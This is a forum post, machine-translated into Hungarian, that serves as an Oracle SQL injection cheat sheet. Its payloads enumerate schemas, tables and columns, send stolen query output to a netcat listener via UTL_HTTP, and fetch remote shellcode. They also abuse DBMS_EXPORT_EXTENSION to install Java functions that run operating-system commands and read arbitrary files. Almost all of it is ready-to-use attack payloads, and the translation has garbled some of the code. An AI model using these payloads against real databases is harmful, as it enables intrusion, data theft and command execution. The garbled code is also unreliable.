Ezt a bejegyzést utoljára a teszt szerkesztette: 2015-1-24, 13:01
Megjegyzés: -- A többmondatos végrehajtás nem támogatott, és a szövetséges lekérdezések támogatottak Az adatbázis-nevek, táblanevek és oszlopnevek mind nagybetűvel vannak írva.
hosszúság (mező) ascii(substr(mező, N, 1))
és (kiválasztani a count(*) a dualból>0 -- Határozd meg, hogy jósnő-e vagy sem
N-- rendelés
és 1=2 unió select null, null,.....,null dual-ból – null helyettesítse N vagy 'N'-re
és 1=2 unió select null, (SQL állítás) ,.....,null a duálisból -- változik (SQL utasításra) az 'N'-nél
és (kiválasztani a count(*) all_objects-ből, ahol object_name='UTL_HTTP')>0 -- Határozd meg, hogy a UTL_HTTP támogatott-e (az exportáló IP ismert)
és UTL_HTTP.request('http://LocalIP:port'|| (SQL nyilatkozat)) =1-- Távolról küldj üzeneteket a helyi, helyi hallgatóhoz nc -vv -l -p 1234
SQL utasítások Válaszd ki a banneret a sys.v_$verzióból, ahol rownum=1 szerepel, hogy lekérdezd az oracle verziót válassz tagot a v$logfile-ből, ahol rownum=1 Kérdezd a naplófájl útját (Windows vagy Linux) válassza ki a utl_inaddr.get_host_address a dualból, hogy lekérdezze az adatbázis hallgató IP-címét Válassz instance_name v$instance-ból a sid lekérdezéséhez válassz nevet a v$adatbázisból Kérdezd le a jelenlegi adatbázis nevét Válassz sys_context ('userenv','current_user') a kettős lekérdezési adatbázis felhasználók közül Válassz * session_roles helyéről, ahol rownum=1 a jelenlegi felhasználói jogosultságok lekérdezéséhez Válassz * session_roles helyéről, ahol rownum=1 [és szerep<>'első engedély név']
table_name a user_tables-ből, ahol rownum=1 Az aktuális adatbázis első táblaszegmense select table_name||','|| tablespace_name user_tables-ből, ahol rownum=1 Első táblaszegmens, adatbázis (ellenőrzés céljából nem feltétlenül v$database) Válassz table_name a user_tables helyéről, ahol rownum=1 és table_name<>'első táblázatszegmens' Az aktuális adatbázis második táblaszegmense
Válassz column_name user_tab_columns helyéről, ahol rownum=1 és table_name='Táblaszegmens' Az első mező, amely a tábla nevéhez felel meg Válassz column_name user_tab_columns-ből, ahol rownum=1 és table_name='Táblaszegmens', valamint column_name<>'Első mező' A második mező, amely a tábla nevéhez tartozik
Mező kiválasztása a táblázatszegmensből, ahol a rownum=1 megsérti az első sor tartalmát A táblaszegmensből kiválaszt mezőt, ahol a rownum=1, és <> 'első sor tartalom' mező a második sor tartalmat mutatja be
Könyvtárak közötti különbségek Válassz ownert all_tables helyéről, ahol a rownum=1 az első adatbázis nevet kérdezi válassza ki a tulajdonost all_tables helyéről, ahol rownum=1, és a tulajdonos<> 'Első adatbázis név' a második adatbázis nevének lekérdezéséhez
Válassz table_name all_tables között, ahol rownum=1 és owner='database name' Kérdezd le a megfelelő adatbázis első táblanevét Válassz table_name a all_tables közül, ahol rownum=1, owner='adatbázis név' és table_name<>'első tábla név', hogy lekérdezd a megfelelő adatbázis második táblanevét
Válassz column_name a all_tab_columns helyből, ahol rownum=1 és owner='adatbázis név' és table_name='tábla szegmens' Az első mező, amely a tábla nevéhez tartozik Válassz column_name a all_tab_columns között, ahol rownum=1 és owner='adatbázis név', table_name='tábla szegmens' és column_name<>'első mező' A második mező, amely a tábla nevéhez felel meg
Válassz mezőt az adatbázisból. táblázatszegmens, ahol rownum=1 megsérti az első sor tartalmát Válassz mezőt az adatbázisból. A táblázatszegmens, ahol a rownum=1 és a <> 'Első sortartalom' mező megsérti a második sor tartalmát
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); többmondatú END; --','SYS',0,'1',0)--
Ha 'escaped, akkor chr() kerül felhasználásra.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| CHR(82), chr(68)|| chr(66)|| CHR(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| CHR(59)|| Többmondatos || chr(69)|| chr(78)|| chr(68)|| CHR(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Ha több mondat túl hosszú, írhatod a nyilatkozatot a weboldal fájlba, és a utl_http.request segítségével visszaszerezheted.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Létrehozz egy JAVA csomagot SecTest a runCMD rendszerparancsok végrehajtására szolgál és '1'<>'a'|| (válassza ki a SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); AZONNAL VÉGREHAJTANI A PRAGMA AUTONOMOUS_TRANSACTION BEJELENTÉSÉT; BEGIN EXECUTE IMRANGETE' létrehozni vagy cserélni és fordítani a "SecTest" nevű java forrást import java.io.*; public class SecTest extend Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); vissza STR; }catch(Exception e){return e.toString(); }}}''''; VÉGE; ''; VÉGE; --','SYS',0,'1',0) a dualból)--
readFile-t használunk a fájl olvasásához és '1'<>'a'|| (válassza ki a SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); AZONNAL VÉGREHAJTANI A PRAGMA AUTONOMOUS_TRANSACTION BEJELENTÉSÉT; BEGIN EXECUTE IMRANGETE' létrehozni vagy cserélni és fordítani a "SecTest" nevű java forrást import java.io.*; public class SecTest extend Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); vissza STR; }catch(Exception e){return e.toString(); }}}''''; VÉGE; ''; VÉGE; --','SYS',0,'1',0) a dualból)--
Java engedélyek megadása és '1'<>'a'|| (válassza ki a SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); AZONNALI "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''végrehajtás''''''''); vége; ''''; VÉGE; ''; VÉGE; --','SYS',0,'1',0) a dualból)--
Hozz létre egy függvényt SecRunCMD funkció és '1'<>'a'|| (válassza ki a SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); AZONNALI "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace function SecRunCMD(p_cmd in varchar2) return a varchar2 mint language java name''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; VÉGE; ''; VÉGE; --','SYS',0,'1',0) a dualból)--
SecReadFile funkció és '1'<>'a'|| (válassza ki a SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); AZONNALI "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace function SecReadFile(filename in varchar2) return varchar2 mint language java name''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; VÉGE; ''; VÉGE; --','SYS',0,'1',0) a dualból)--
Engedély megadása a nyilvános funkció végrehajtására A SecRunCMD engedélyeket kap és '1'<>'a'|| (válassza ki a SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); AZONNALI "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; AZONNAL KEZDJÜK VÉGREHAJTANI A "ADJ MINDEN SecRunCMD-n a nyilvánosságnak"; VÉGE; ''; VÉGE; --','SYS',0,'1',0) a dualból)--
SecReadFile és '1'<>'a'|| (válassza ki a SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); AZONNALI "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; KEZDJE MEG AZONNALI VÉGREHAJTÁST ''''adj meg minden SecReadFile-en a nyilvánosságnak'''; VÉGE; ''; VÉGE; --','SYS',0,'1',0) a dualból)--
Megállapítja, hogy a függvény sikeresen létrejött-e és (select count(*) all_objects-ból, ahol object_name='SECRUNCMD')>0-- és (select count(*) all_objects-ből, ahol object_name='SECREADFILE')>0--
Hajtsd végre a parancsot és '1'<> (kiválasztott rendszerek. SecRunCMD('Execute command') dualból)-- és '1'<> (kiválasztott rendszerek. SecReadFile('fájl fizikai cím') dualból)-- vagy és 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null dual-- és 1=2 union select null,...,sys. SecReadFile('fájl fizikai cím'),...,null kettős-- vagy és '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| REPLACE (REPLACE (SYS. SecRunCMD('Parancs végrehajtása'),' ',' '),'\n',' ')) dual)-- és '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| REPLACE (REPLACE (SYS. SecReadFile('Fájl fizikai cím'),' ',' ',','\n',' ')) dual)--
Törlés funkció és '1'<>'a'|| (válassza ki a SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); AZONNALI "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'drop function SecRunCMD''''; VÉGE; ''; VÉGE; --','SYS',0,'1',0) a dualból)-- és '1'<>'a'|| (válassza ki a SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); AZONNALI "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '''drop function SecReadFile'''; VÉGE; ''; VÉGE; --','SYS',0,'1',0) a dualból)-- |